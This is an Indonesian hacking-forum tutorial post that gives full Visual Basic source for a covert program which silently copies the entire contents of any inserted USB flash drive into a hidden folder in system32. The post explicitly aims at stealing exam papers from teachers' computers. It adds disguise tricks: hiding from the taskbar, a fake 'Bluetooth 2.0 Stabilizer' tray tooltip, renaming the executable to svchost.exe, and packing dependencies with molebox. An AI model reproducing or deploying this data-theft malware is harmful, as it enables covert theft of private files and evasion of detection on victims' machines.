Welcome Guest | RSSMain | Membuat Program Pembajak Isi Flash Disk - Forum | Registration | Login
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum » Tutorial Info & Tips » Hacking » Membuat Program Pembajak Isi Flash Disk
Membuat Program Pembajak Isi Flash Disk
theotzDate: Wednesday, 2010-01-27, 10:26 PM | Message # 1
Major
Group: Administrators
Messages: 88
Reputation: 0
Status: Offline
mungkin loe semua pasti pernah nge"nyolokin" usb kalian ke lptop, pc or komputer guru/dosen kalian.

ide usil: gimana kalo d dalamnya(laptop, pc or kompternya) berisi soal2 ujian/semester, gimana kalo kita "rampok" aja semua datanya, siapa tahu di dalam ada data yang kayak g'thuan.

Baiklah kita mulai Operasinya, Buka visual basic buat satu form, dua rich text box, satu picture box, dan
satu timer kemudian ubah “show In Taskbar” menjadi false, ubah kedua nama rich text box menjadi
“RTF” dan “USB_Letter” , ubah nama picture box menjadi “TrayIcon” klik dan tuliskan code berikut “

Code

Option Explicit
Private Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String,
ByVal nSize As Long) As Long
Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal
lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long,
lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal
lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Const MAX_FILENAME_LEN = 256
Private Declare Function GetDriveType Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Dim Folder_Name As String
Dim Drives(14) As String, x As Long
Dim USB_Drv As String
Dim C As Byte, I As Byte
Dim Copy_Progress As Boolean
Dim File As New FileSystemObject
Dim DD As String, OLD_USB As Long, NEW_USB As Long
Private Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uId As Long
uFlags As Long
ucallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4
Private Const WM_LBUTTONDOWN = &H201
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As
NOTIFYICONDATA) As Boolean
Dim TrayI As NOTIFYICONDATA

Private Sub Form_Load()
On Error Resume Next

"nie bikin supaya selalu di minimize"
Me.WindowState = vbMinimized
Copy_Progress = False

"nie supaya gak kelihatan di task"
App.TaskVisible = False
Call USB_Copy

"nie untuk buat tray iconnya"
TrayI.cbSize = Len(TrayI)
TrayI.hWnd = TrayIcon.hWnd
TrayI.uId = 1&
TrayI.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
TrayI.ucallbackMessage = WM_LBUTTONDOWN
TrayI.hIcon = Me.Icon

"nie untuk bikin tool tips text"
TrayI.szTip = "Bluetooth 2.0 Stabilizer" & Chr$(0)

"nie untuk membuat tray icon"
Shell_NotifyIcon NIM_ADD, TrayI
Timer1.Enabled = True
End Sub

Private Sub USB_Copy()
On Error Resume Next
Folder_Name = Date & "_" & Time
RTF.Text = Folder_Name
Call FindIt(RTF, "/", "-")
Call FindIt(RTF, " ", vbNullString)
Call FindIt(RTF, ":", vbNullString)

"Bikin folder di system32 windows supaya gak ketahuan"
Folder_Name = GetSystemPath & RTF.Text & "\"
For I = 68 To 80
C = C + 1
Drives(C) = Chr(I) & ":"
Next I
For I = 1 To 13
If GetDriveType(Drives(I)) = 2 Then
USB_Drv = Drives(I) & "\*"
USB_Letter.Text = Drives(I)
Call FindIt(USB_Letter, ":", vbNullString)
DD = USB_Letter.Text

"deteksi serial USB supaya tidak terjadi double copy"
NEW_USB = DriveSerial(DD)
If NEW_USB <> OLD_USB Or OLD_USB = 0 Then
Copy_Progress = True

"Ubah tray icon sebagai penanda bahwa proses pembajakan USB sedang berlangsung"
TrayI.hIcon = TrayIcon.Picture
Shell_NotifyIcon NIM_MODIFY, TrayI
File.CreateFolder Folder_Name
File.CopyFolder USB_Drv, Folder_Name
DoEvents
USB_Drv = USB_Drv & "*.*"
File.CopyFile USB_Drv, Folder_Name

"kerjain tugas dulu baru lanjut kebawahnya"
DoEvents
MousePointer = vbDefault

"kalo USB - nya udah pernah dicopy abaikan aja.."
OLD_USB = NEW_USB
Copy_Progress = False
TrayI.hIcon = Me.Icon
Shell_NotifyIcon NIM_MODIFY, TrayI
End If
Else
USB_Drv = vbNullString
Copy_Progress = False
End If
Next I
End Sub

Private Function FindIt(Box As RichTextBox, Srch As String, RplcTxt As String, Optional Start As Long) As Variant
On Error Resume Next
Dim RetVal As Long
Dim Source As String
Source = Box.Text
If Start = 0 Then Start = 1
RetVal = InStr(Start, Source, Srch)
If RetVal <> 0 Then
With Box
.SelStart = RetVal - 1
.SelLength = Len(Srch)
.SelBold = True
.SelText = RplcTxt
End With
Start = RetVal + Len(Srch)
FindIt = 1 + FindIt(Box, Srch, RplcTxt, Start)
End If
End Function

"fungsi mendapatkan serial drive"
Private Function DriveSerial(ByVal sDrv As String) As Long
On Error Resume Next
Dim RetVal As Long
Dim str As String * MAX_FILENAME_LEN
Dim str2 As String * MAX_FILENAME_LEN
Dim a As Long
Dim b As Long
Call GetVolumeInformation(sDrv & ":\", str, MAX_FILENAME_LEN, RetVal, a, b, str2, MAX_FILENAME_LEN)
DriveSerial = RetVal
End Function

"fungsi mencari system path"
Private Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left$(Buffer, x) & "\"
End Function

Klik di timer, sett intervalnya menjadi 1000 kemudian ketikkan code berikut :

Private Sub Timer1_Timer()
If Copy_Progress = False Then
C = 0
x = 0
NEW_USB = 0
Call USB_Copy
End If
End Sub

Jangan lupa mengisi picture box dengan gambar yang akan jadi penanda saat program menjalankan
tugas mengcopy isi flash disk dan format gambarnya harus icon.Ini contoh icon yang saya pakai dalam
program.
Setelah selesai mengcompilasi
programnya jangan lupa untuk
memberi nama executablenya
dengan nama unik semisal, link.exe,
svchost.exe, atau nama-nama lain
yang sering ada di task manager
kemudian sebagai finishing touch
ubah propertiesnya.
Program ini
hanya bisa dimatikan melalui task
manager. Jangan lupa untuk
menyertakan file “RICHTX32.OCX”
dan “COMDLG32.OCX” (kedua file
terdapat di system32 di directory windows) supaya program bisa berjalan dengan normal, atau bisa juga
dipack menjadi satu dengan menggunakan “molebox”, programnya cari sendiri ya !



 
Forum » Tutorial Info & Tips » Hacking » Membuat Program Pembajak Isi Flash Disk
Page 1 of 11
Search:

TeenZ Community © 2018
Free web hostinguCoz